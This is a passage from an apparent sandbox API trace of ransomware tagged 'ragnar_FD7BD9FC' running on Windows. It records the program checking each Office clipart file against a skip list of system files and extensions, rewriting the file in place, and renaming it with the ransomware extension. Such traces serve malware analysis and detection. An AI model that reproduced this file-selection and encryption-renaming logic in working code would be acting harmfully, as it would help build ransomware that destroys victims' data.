dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f8f, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.390] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f8f, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1f8f, lpOverlapped=0x0) returned 1 [0093.390] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f8f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.390] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.390] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1f8f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.390] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.390] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.391] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.391] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.391] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.391] GetProcessHeap () returned 0x580000 [0093.391] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.391] CloseHandle (hObject=0x104) returned 1 [0093.391] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" [0093.391] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF.ragnar_FD7BD9FC" [0093.391] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.392] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01741L.GIF", cAlternateFileName="")) returned 1 [0093.392] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.392] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB01741L.GIF" | out: lpString1="WB01741L.GIF") returned="WB01741L.GIF" [0093.392] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF") returned=".GIF" [0093.392] lstrcmpiW (lpString1="WB01741L.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.392] lstrcmpiW (lpString1="WB01741L.GIF", lpString2="autorun.inf") returned 1 [0093.392] lstrcmpiW (lpString1="WB01741L.GIF", lpString2="boot.ini") returned 1 [0093.392] lstrcmpiW (lpString1="WB01741L.GIF", lpString2="bootfont.bin") returned 1 [0093.392] lstrcmpiW (lpString1="WB01741L.GIF", lpString2="bootsect.bak") returned 1 [0093.392] lstrcmpiW (lpString1="WB01741L.GIF", lpString2="bootmgr") returned 1 [0093.392] lstrcmpiW (lpString1="WB01741L.GIF", lpString2="bootmgr.efi") returned 1 [0093.392] lstrcmpiW (lpString1="WB01741L.GIF", lpString2="bootmgfw.efi") returned 1 [0093.392] lstrcmpiW (lpString1="WB01741L.GIF", lpString2="desktop.ini") returned 1 [0093.392] lstrcmpiW (lpString1="WB01741L.GIF", lpString2="iconcache.db") returned 1 [0093.392] lstrcmpiW (lpString1="WB01741L.GIF", lpString2="ntldr") returned 1 [0093.392] lstrcmpiW (lpString1="WB01741L.GIF", lpString2="ntuser.dat") returned 1 [0093.392] lstrcmpiW (lpString1="WB01741L.GIF", lpString2="ntuser.dat.log") returned 1 [0093.392] lstrcmpiW (lpString1="WB01741L.GIF", lpString2="ntuser.ini") returned 1 [0093.392] lstrcmpiW (lpString1="WB01741L.GIF", lpString2="thumbs.db") returned 1 [0093.392] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.392] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.392] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.392] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.392] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.392] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.392] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif")) returned 0x20 [0093.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.393] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3613) returned 1 [0093.393] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xe14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.393] GetProcessHeap () returned 0x580000 [0093.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.393] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.395] VirtualAlloc (lpAddress=0x0, dwSize=0xe1d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.395] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.395] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.395] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe1d, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xe1d, lpOverlapped=0x0) returned 1 [0093.395] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.395] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe1d, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.395] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe1d, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xe1d, lpOverlapped=0x0) returned 1 [0093.395] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe1d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.395] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.396] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xe1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.396] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.396] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.396] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.396] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.396] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.396] GetProcessHeap () returned 0x580000 [0093.396] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.396] CloseHandle (hObject=0x104) returned 1 [0093.396] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" [0093.396] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF.ragnar_FD7BD9FC" [0093.396] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.397] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02039_.GIF", cAlternateFileName="")) returned 1 [0093.397] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.397] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB02039_.GIF" | out: lpString1="WB02039_.GIF") returned="WB02039_.GIF" [0093.397] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF") returned=".GIF" [0093.397] lstrcmpiW (lpString1="WB02039_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.397] lstrcmpiW (lpString1="WB02039_.GIF", lpString2="autorun.inf") returned 1 [0093.397] lstrcmpiW (lpString1="WB02039_.GIF", lpString2="boot.ini") returned 1 [0093.397] lstrcmpiW (lpString1="WB02039_.GIF", lpString2="bootfont.bin") returned 1 [0093.397] lstrcmpiW (lpString1="WB02039_.GIF", lpString2="bootsect.bak") returned 1 [0093.397] lstrcmpiW (lpString1="WB02039_.GIF", lpString2="bootmgr") returned 1 [0093.397] lstrcmpiW (lpString1="WB02039_.GIF", lpString2="bootmgr.efi") returned 1 [0093.397] lstrcmpiW (lpString1="WB02039_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.397] lstrcmpiW (lpString1="WB02039_.GIF", lpString2="desktop.ini") returned 1 [0093.397] lstrcmpiW (lpString1="WB02039_.GIF", lpString2="iconcache.db") returned 1 [0093.397] lstrcmpiW (lpString1="WB02039_.GIF", lpString2="ntldr") returned 1 [0093.397] lstrcmpiW (lpString1="WB02039_.GIF", lpString2="ntuser.dat") returned 1 [0093.397] lstrcmpiW (lpString1="WB02039_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.397] lstrcmpiW (lpString1="WB02039_.GIF", lpString2="ntuser.ini") returned 1 [0093.397] lstrcmpiW (lpString1="WB02039_.GIF", lpString2="thumbs.db") returned 1 [0093.398] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.398] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.398] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.398] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.398] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.398] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.398] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif")) returned 0x20 [0093.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.399] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=908) returned 1 [0093.399] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x383, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.399] GetProcessHeap () returned 0x580000 [0093.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.399] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.400] VirtualAlloc (lpAddress=0x0, dwSize=0x38c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.401] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.401] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.401] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x38c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x38c, lpOverlapped=0x0) returned 1 [0093.401] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.401] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x38c, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.401] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x38c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x38c, lpOverlapped=0x0) returned 1 [0093.401] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x38c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.401] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.401] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x38c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.401] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.401] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.401] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.401] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.402] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.402] GetProcessHeap () returned 0x580000 [0093.402] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.402] CloseHandle (hObject=0x104) returned 1 [0093.402] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" [0093.402] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF.ragnar_FD7BD9FC" [0093.402] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.402] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x987, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02055_.GIF", cAlternateFileName="")) returned 1 [0093.403] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.403] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB02055_.GIF" | out: lpString1="WB02055_.GIF") returned="WB02055_.GIF" [0093.403] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF") returned=".GIF" [0093.403] lstrcmpiW (lpString1="WB02055_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.403] lstrcmpiW (lpString1="WB02055_.GIF", lpString2="autorun.inf") returned 1 [0093.403] lstrcmpiW (lpString1="WB02055_.GIF", lpString2="boot.ini") returned 1 [0093.403] lstrcmpiW (lpString1="WB02055_.GIF", lpString2="bootfont.bin") returned 1 [0093.403] lstrcmpiW (lpString1="WB02055_.GIF", lpString2="bootsect.bak") returned 1 [0093.403] lstrcmpiW (lpString1="WB02055_.GIF", lpString2="bootmgr") returned 1 [0093.403] lstrcmpiW (lpString1="WB02055_.GIF", lpString2="bootmgr.efi") returned 1 [0093.403] lstrcmpiW (lpString1="WB02055_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.403] lstrcmpiW (lpString1="WB02055_.GIF", lpString2="desktop.ini") returned 1 [0093.403] lstrcmpiW (lpString1="WB02055_.GIF", lpString2="iconcache.db") returned 1 [0093.403] lstrcmpiW (lpString1="WB02055_.GIF", lpString2="ntldr") returned 1 [0093.403] lstrcmpiW (lpString1="WB02055_.GIF", lpString2="ntuser.dat") returned 1 [0093.403] lstrcmpiW (lpString1="WB02055_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.403] lstrcmpiW (lpString1="WB02055_.GIF", lpString2="ntuser.ini") returned 1 [0093.403] lstrcmpiW (lpString1="WB02055_.GIF", lpString2="thumbs.db") returned 1 [0093.403] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.403] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.403] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.403] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.403] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.403] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.403] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif")) returned 0x20 [0093.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.404] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2439) returned 1 [0093.404] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x97e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.404] GetProcessHeap () returned 0x580000 [0093.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.404] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.406] VirtualAlloc (lpAddress=0x0, dwSize=0x987, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.406] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.406] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.406] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x987, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x987, lpOverlapped=0x0) returned 1 [0093.406] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.406] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x987, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.406] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x987, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x987, lpOverlapped=0x0) returned 1 [0093.406] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x987, 